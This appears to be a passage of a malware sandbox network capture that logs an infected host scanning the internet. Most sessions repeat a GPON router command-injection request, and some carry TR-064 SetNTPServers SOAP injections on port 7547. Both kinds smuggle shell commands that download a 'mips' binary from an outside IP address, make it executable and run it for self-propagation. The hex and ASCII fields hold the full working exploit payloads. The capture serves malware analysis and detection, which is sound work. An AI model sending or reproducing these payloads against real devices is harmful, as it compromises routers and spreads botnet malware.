charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid Hostname</h2><hr><p>HTTP Error 400. The request hostname is invalid.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1137	192.168.2.13	60938	54.192.73.197	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:41.629375935 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:41.809077024 CEST	1275	IN	HTTP/1.1 400 Bad Request Server: CloudFront Date: Mon, 15 Apr 2024 06:53:41 GMT Content-Type: text/html Content-Length: 915 Connection: close X-Cache: Error from cloudfront Via: 1.1 91c80546b6d0beebffe469756e2c35aa.cloudfront.net (CloudFront) X-Amz-Cf-Pop: HIO50-C2 X-Amz-Cf-Id: 54cPn5-pMgkaAefmr1IEdnNlPulPKoJC1YdhZhvyQ0p4U5oMUEyN2A== Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 4f 4e 54 45 4e 54 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 3e 0a 3c 54 49 54 4c 45 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 34 30 30 20 45 52 52 4f 52 3c 2f 48 31 3e 0a 3c 48 32 3e 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 2e 3c 2f 48 32 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 42 61 64 20 72 65 71 75 65 73 74 2e 0a 57 65 20 63 61 6e 27 74 20 63 6f 6e 6e 65 63 74 20 74 6f 20 74 68 65 20 73 65 72 76 65 72 20 66 6f 72 20 74 68 69 73 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 61 74 20 74 68 69 73 20 74 69 6d 65 2e 20 54 68 65 72 65 20 6d 69 67 68 74 20 62 65 20 74 6f 6f 20 6d 75 63 68 20 74 72 61 66 66 69 63 20 6f 72 20 61 20 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 65 72 72 6f 72 2e 20 54 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 2c 20 6f 72 20 63 6f 6e 74 61 63 74 20 74 68 65 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 6f 77 6e 65 72 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 49 66 20 79 6f 75 20 70 72 6f 76 69 64 65 20 63 6f 6e 74 65 6e 74 20 74 6f 20 63 75 73 74 6f 6d 65 72 73 20 74 68 72 6f 75 67 68 20 43 6c 6f 75 64 46 72 6f 6e 74 2c 20 79 6f 75 20 63 61 6e 20 66 69 6e 64 20 73 74 65 70 73 20 74 6f 20 74 72 6f 75 62 6c 65 73 68 6f 6f 74 20 61 6e 64 20 68 65 6c 70 20 70 72 65 76 65 6e 74 20 74 68 69 73 20 65 72 72 6f 72 20 62 79 20 72 65 76 69 65 77 69 6e 67 20 74 68 65 20 43 6c 6f 75 64 46 72 6f 6e 74 20 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 3c 50 52 45 3e 0a 47 65 6e 65 72 61 74 65 64 20 62 79 20 63 6c 6f 75 64 66 72 6f 6e 74 20 28 43 6c 6f 75 64 46 72 6f 6e 74 29 0a 52 65 71 75 65 73 74 20 49 44 3a 20 35 34 63 50 6e 35 2d 70 4d 67 6b 61 41 65 66 6d 72 31 49 45 64 6e 4e 6c 50 75 6c 50 4b 6f 4a 43 31 59 64 68 5a 68 76 79 51 30 70 34 55 35 6f 4d 55 45 79 4e 32 41 3d 3d 0a 3c 2f 50 52 45 3e 0a 3c 41 44 44 52 45 53 53 3e 0a 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><TITLE>ERROR: The request could not be satisfied</TITLE></HEAD><BODY><H1>400 ERROR</H1><H2>The request could not be satisfied.</H2><HR noshade size="1px">Bad request.We can't connect to the server for this app or website at this time. There might be too much traffic or a configuration error. Try again later, or contact the app or website owner.<BR clear="all">If you provide content to customers through CloudFront, you can find steps to troubleshoot and help prevent this error by reviewing the CloudFront documentation.<BR clear="all"><HR noshade size="1px"><PRE>Generated by cloudfront (CloudFront)Request ID: 54cPn5-pMgkaAefmr1IEdnNlPulPKoJC1YdhZhvyQ0p4U5oMUEyN2A==</PRE><ADDRESS></ADDRESS></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1138	192.168.2.13	48102	104.96.195.237	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:41.642179966 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:41.828432083 CEST	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Mon, 15 Apr 2024 06:53:41 GMT Date: Mon, 15 Apr 2024 06:53:41 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 63 36 37 63 64 31 37 26 23 34 36 3b 31 37 31 33 31 36 34 30 32 31 26 23 34 36 3b 34 39 66 61 35 63 61 31 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 63 36 37 63 64 31 37 26 23 34 36 3b 31 37 31 33 31 36 34 30 32 31 26 23 34 36 3b 34 39 66 61 35 63 61 31 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.c67cd17.1713164021.49fa5ca1<P>https://errors.edgesuite.net/9.c67cd17.1713164021.49fa5ca1</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1139	192.168.2.13	37888	3.19.91.15	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:41.660182953 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:41.870645046 CEST	284	IN	HTTP/1.1 400 Bad Request Server: awselb/2.0 Date: Mon, 15 Apr 2024 06:53:41 GMT Content-Type: text/html Content-Length: 122 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1140	192.168.2.13	43262	44.214.104.226	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:41.665703058 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:41.881598949 CEST	339	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Apr 2024 06:53:41 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1141	192.168.2.13	33216	75.167.10.129	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:41.668185949 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1142	192.168.2.13	33084	198.82.152.65	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:41.671416044 CEST	307	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:41.892963886 CEST	513	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 15 Apr 2024 06:53:26 GMT Connection: close Content-Length: 334 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 48 6f 73 74 6e 61 6d 65 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 68 6f 73 74 6e 61 6d 65 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid Hostname</h2><hr><p>HTTP Error 400. The request hostname is invalid.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1143	192.168.2.13	51486	52.194.49.108	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:41.702095032 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:41.954739094 CEST	284	IN	HTTP/1.1 400 Bad Request Server: awselb/2.0 Date: Mon, 15 Apr 2024 06:53:41 GMT Content-Type: text/html Content-Length: 122 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1144	192.168.2.13	44592	157.7.177.76	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:41.710767984 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:42.110570908 CEST	448	IN	HTTP/1.1 400 Bad Request Date: Mon, 15 Apr 2024 06:53:41 GMT Server: Apache/2.2.34 (Unix) mod_ssl/2.2.34 OpenSSL/1.0.2n Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1145	192.168.2.13	59642	210.154.238.159	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:41.716804028 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:41.984240055 CEST	404	IN	HTTP/1.1 400 Bad Request Date: Mon, 15 Apr 2024 06:53:40 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1146	192.168.2.13	38436	200.115.88.221	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:41.824786901 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1147	192.168.2.13	33304	75.167.10.129	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:41.831757069 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1148	192.168.2.13	42424	174.22.238.162	7547

Timestamp	Bytes transferred	Direction	Data
